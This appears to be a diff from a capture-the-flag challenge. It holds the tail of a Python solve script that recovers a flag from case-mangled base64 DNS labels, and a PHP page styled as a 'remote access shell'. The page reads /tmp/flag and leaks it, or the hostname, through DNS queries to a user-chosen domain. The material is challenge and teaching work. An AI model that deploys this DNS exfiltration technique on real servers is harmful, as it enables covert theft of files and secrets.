||||
"""The PHP replaces + and / with -. Reverse where possible (no-op if no dashes)."""
|
||||
# If there are no dashes the base64 had neither + nor /, nothing to do.
|
||||
# If there ARE dashes we'd need to try both — handled by the case-brute-force below.
|
||||
return s
|
||||
|
||||
|
||||
def case_variants(group: str):
|
||||
"""Yield every capitalisation variant of a base64 group that decodes to printable ASCII."""
|
||||
letter_positions = [(i, c) for i, c in enumerate(group) if c.isalpha()]
|
||||
for bits in product([True, False], repeat=len(letter_positions)):
|
||||
candidate = list(group)
|
||||
for (idx, _), upper in zip(letter_positions, bits):
|
||||
candidate[idx] = candidate[idx].upper() if upper else candidate[idx].lower()
|
||||
s = "".join(candidate)
|
||||
padding = "=" * ((4 - len(s) % 4) % 4)
|
||||
try:
|
||||
decoded = base64.b64decode(s + padding)
|
||||
if all(32 <= b < 127 for b in decoded): # printable ASCII only
|
||||
yield s, decoded
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
|
||||
def solve(payload: str, checksum: str) -> str:
|
||||
payload = reverse_strtr(payload)
|
||||
|
||||
# Split into groups of 4 (standard base64 block size)
|
||||
groups = [payload[i:i+4] for i in range(0, len(payload), 4)]
|
||||
|
||||
# Collect valid byte candidates for each group
|
||||
group_candidates = []
|
||||
for i, g in enumerate(groups):
|
||||
cands = list(case_variants(g))
|
||||
if not cands:
|
||||
raise ValueError(f"No printable-ASCII candidate found for group {i} ({g!r})")
|
||||
group_candidates.append([dec for _, dec in cands])
|
||||
print(f" group[{i:02d}] {g!r:6s} → {[dec for _, dec in cands]}")
|
||||
|
||||
print(f"\nSearching {' × '.join(str(len(c)) for c in group_candidates)} combinations "
|
||||
f"for MD5[:3] == {checksum!r} …\n")
|
||||
|
||||
# Enumerate combinations and check MD5 checksum
|
||||
for combo in product(*group_candidates):
|
||||
candidate_bytes = b"".join(combo)
|
||||
if md5(candidate_bytes).hexdigest()[:3] == checksum:
|
||||
return candidate_bytes.decode()
|
||||
|
||||
raise ValueError("No combination matched the checksum — check PAYLOAD / CHECKSUM values.")
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
print("=" * 60)
|
||||
print("DNS 0x20 Exfiltration — Solve Script")
|
||||
print("=" * 60)
|
||||
print(f"Payload : {PAYLOAD}")
|
||||
print(f"Checksum : {CHECKSUM}\n")
|
||||
print("Candidate bytes per base64 group (printable ASCII filter):")
|
||||
|
||||
flag = solve(PAYLOAD, CHECKSUM)
|
||||
|
||||
print("=" * 60)
|
||||
print(f"FLAG: {flag}")
|
||||
print("=" * 60)
|
||||
@@ -0,0 +1,308 @@
|
||||
<?php
|
||||
$FLAG = file_get_contents('/tmp/flag');
|
||||
|
||||
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
|
||||
header('Content-Type: application/json');
|
||||
|
||||
$input = json_decode(file_get_contents('php://input'), true);
|
||||
$hostname = $input['hostname'] ?? '';
|
||||
$type_cmd = $input['type'] ?? '';
|
||||
|
||||
if (!is_string($hostname) || empty($hostname) || !is_string($type_cmd) || empty($type_cmd)) {
|
||||
http_response_code(400);
|
||||
echo json_encode(['error' => 'Invalid variable format']);
|
||||
exit;
|
||||
}
|
||||
|
||||
$sanitized_hostname = preg_replace('/[^a-zA-Z0-9.-]/', '', $hostname);
|
||||
|
||||
if (($sanitized_hostname !== $hostname || empty($sanitized_hostname)) || (!in_array($type_cmd, ['hostname', 'flag'], true))) {
|
||||
http_response_code(400);
|
||||
echo json_encode(['error' => 'Invalid variable format']);
|
||||
exit;
|
||||
}
|
||||
|
||||
if ($type_cmd === 'hostname') {
|
||||
performDnsExfiltration(gethostname(), $sanitized_hostname);
|
||||
} else if ($type_cmd === 'flag') {
|
||||
performDnsExfiltration($FLAG, $sanitized_hostname);
|
||||
}
|
||||
echo json_encode(['success' => true]);
|
||||
exit;
|
||||
}
|
||||
|
||||
function performDnsExfiltration(string $content, string $hostname): bool {
|
||||
try {
|
||||
$checksum = substr(md5($content), 0, 3);
|
||||
$value_b64 = rtrim(strtr(base64_encode($content), '+/', '--'), '=');
|
||||
$query = "{$value_b64}.{$checksum}.{$hostname}";
|
||||
# Perform the DNS exfiltration of the content and its checksum to the specific hostname
|
||||
dns_get_record($query, DNS_A);
|
||||
return true;
|
||||
} catch (Exception $e) {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
?>
|
||||
<!DOCTYPE html>
|
||||
<html lang="en">
|
||||
<head>
|
||||
<meta charset="UTF-8">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||
<title>WebShell v2.1</title>
|
||||
<style>
|
||||
* {
|
||||
margin: 0;
|
||||
padding: 0;
|
||||
box-sizing: border-box;
|
||||
}
|
||||
|
||||
body {
|
||||
font-family: 'Courier New', 'Monaco', monospace;
|
||||
background: #0a0a0a;
|
||||
color: #00ff00;
|
||||
min-height: 100vh;
|
||||
padding: 20px;
|
||||
overflow-x: hidden;
|
||||
}
|
||||
|
||||
.terminal {
|
||||
max-width: 900px;
|
||||
margin: 0 auto;
|
||||
background: #000000;
|
||||
border: 2px solid #00ff00;
|
||||
box-shadow: 0 0 20px rgba(0, 255, 0, 0.3);
|
||||
padding: 20px;
|
||||
}
|
||||
|
||||
.header {
|
||||
border-bottom: 1px solid #00ff00;
|
||||
padding-bottom: 10px;
|
||||
margin-bottom: 20px;
|
||||
}
|
||||
|
||||
.header h1 {
|
||||
font-size: 18px;
|
||||
color: #00ff00;
|
||||
letter-spacing: 2px;
|
||||
}
|
||||
|
||||
.header .info {
|
||||
font-size: 12px;
|
||||
color: #00cc00;
|
||||
margin-top: 5px;
|
||||
}
|
||||
|
||||
.ascii-art {
|
||||
color: #00ff00;
|
||||
font-size: 10px;
|
||||
line-height: 1.2;
|
||||
margin-bottom: 20px;
|
||||
white-space: pre;
|
||||
opacity: 0.7;
|
||||
}
|
||||
|
||||
.command-section {
|
||||
margin-bottom: 20px;
|
||||
}
|
||||
|
||||
.prompt {
|
||||
color: #00ff00;
|
||||
margin-bottom: 5px;
|
||||
font-size: 14px;
|
||||
}
|
||||
|
||||
.prompt span {
|
||||
color: #00cc00;
|
||||
}
|
||||
|
||||
.input-row {
|
||||
display: flex;
|
||||
gap: 10px;
|
||||
margin-bottom: 15px;
|
||||
align-items: center;
|
||||
}
|
||||
|
||||
.input-row::before {
|
||||
content: ">";
|
||||
color: #00ff00;
|
||||
font-weight: bold;
|
||||
}
|
||||
|
||||
input[type="text"] {
|
||||
flex: 1;
|
||||
background: #001100;
|
||||
border: 1px solid #00ff00;
|
||||
color: #00ff00;
|
||||
padding: 10px 15px;
|
||||
font-family: 'Courier New', monospace;
|
||||
font-size: 14px;
|
||||
outline: none;
|
||||
}
|
||||
|
||||
input[type="text"]:focus {
|
||||
background: #002200;
|
||||
box-shadow: 0 0 10px rgba(0, 255, 0, 0.3);
|
||||
}
|
||||
|
||||
input[type="text"]::placeholder {
|
||||
color: #005500;
|
||||
}
|
||||
|
||||
button {
|
||||
background: #001100;
|
||||
border: 2px solid #00ff00;
|
||||
color: #00ff00;
|
||||
padding: 10px 20px;
|
||||
font-family: 'Courier New', monospace;
|
||||
font-size: 13px;
|
||||
cursor: pointer;
|
||||
text-transform: uppercase;
|
||||
letter-spacing: 1px;
|
||||
transition: all 0.2s;
|
||||
white-space: nowrap;
|
||||
}
|
||||
|
||||
button:hover {
|
||||
background: #00ff00;
|
||||
color: #000000;
|
||||
box-shadow: 0 0 15px rgba(0, 255, 0, 0.5);
|
||||
}
|
||||
|
||||
button:active {
|
||||
transform: scale(0.95);
|
||||
}
|
||||
|
||||
.separator {
|
||||
border-top: 1px dashed #00ff00;
|
||||
margin: 20px 0;
|
||||
opacity: 0.3;
|
||||
}
|
||||
|
||||
.status {
|
||||
position: fixed;
|
||||
bottom: 20px;
|
||||
right: 20px;
|
||||
background: #000000;
|
||||
border: 1px solid #00ff00;
|
||||
padding: 5px 10px;
|
||||
font-size: 10px;
|
||||
color: #00ff00;
|
||||
}
|
||||
|
||||
.blink {
|
||||
animation: blink 1s infinite;
|
||||
}
|
||||
|
||||
@keyframes blink {
|
||||
0%, 49% { opacity: 1; }
|
||||
50%, 100% { opacity: 0; }
|
||||
}
|
||||
|
||||
.footer {
|
||||
margin-top: 30px;
|
||||
padding-top: 15px;
|
||||
border-top: 1px solid #00ff00;
|
||||
font-size: 11px;
|
||||
color: #00cc00;
|
||||
opacity: 0.5;
|
||||
}
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
<div class="terminal">
|
||||
<div class="header">
|
||||
<h1>╔══════════════════════════╗</h1>
|
||||
<h1>║ REMOTE ACCESS SHELL v2.1 ║</h1>
|
||||
<h1>╚══════════════════════════╝</h1>
|
||||
<div class="info">
|
||||
[*] Connection established...<br>
|
||||
[*] DNS exfiltration module loaded<br>
|
||||
[*] Waiting for commands...
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="ascii-art">
|
||||
___ _ _ ___
|
||||
| __|| \/ ||_ _|
|
||||
| _| | /\ | | |
|
||||
|___||_||_||___|
|
||||
</div>
|
||||
|
||||
<div class="command-section">
|
||||
<div class="prompt"><span>[root@target]</span># extract_hostname -format base64 -addCheckSum</div>
|
||||
<div class="input-row">
|
||||
<input type="text" id="hostname" placeholder="target.domain.com">
|
||||
<button onclick="extractHostname()">EXTRACT HOSTNAME</button>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="separator"></div>
|
||||
|
||||
<div class="command-section">
|
||||
<div class="prompt"><span>[root@target]</span># extract_flag -format base64 -addCheckSum</div>
|
||||
<div class="input-row">
|
||||
<input type="text" id="flag" placeholder="target.domain.com">
|
||||
<button onclick="extractFlag()">EXTRACT FLAG</button>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="footer">
|
||||
<span class="blink">█</span> System ready | DNS resolver: active | Obfuscation: enabled
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="status">
|
||||
<span class="blink">●</span> ONLINE
|
||||
</div>
|
||||
|
||||
<script>
|
||||
async function extractHostname() {
|
||||
const hostname = document.getElementById('hostname').value.trim();
|
||||
|
||||
if (!hostname) {
|
||||
return;
|
||||
}
|
||||
|
||||
try {
|
||||
await fetch('/', {
|
||||
method: 'POST',
|
||||
headers: {
|
||||
'Content-Type': 'application/json',
|
||||
},
|
||||
body: JSON.stringify({
|
||||
hostname: hostname,
|
||||
type: 'hostname'
|
||||
})
|
||||
});
|
||||
} catch (error) {
|
||||
console.error('Error:', error);
|
||||
}
|
||||
}
|
||||
|
||||
async function extractFlag() {
|
||||
const hostname = document.getElementById('flag').value.trim();
|
||||
|
||||
if (!hostname) {
|
||||
return;
|
||||
}
|
||||
|
||||
try {
|
||||
await fetch('/', {
|
||||
method: 'POST',
|
||||
headers: {
|
||||
'Content-Type': 'application/json',
|
||||
},
|
||||
body: JSON.stringify({
|
||||
hostname: hostname,
|
||||
type: 'flag'
|
||||
})
|
||||
});
|
||||
} catch (error) {
|
||||
console.error('Error:', error);
|
||||
}
|
||||
}
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||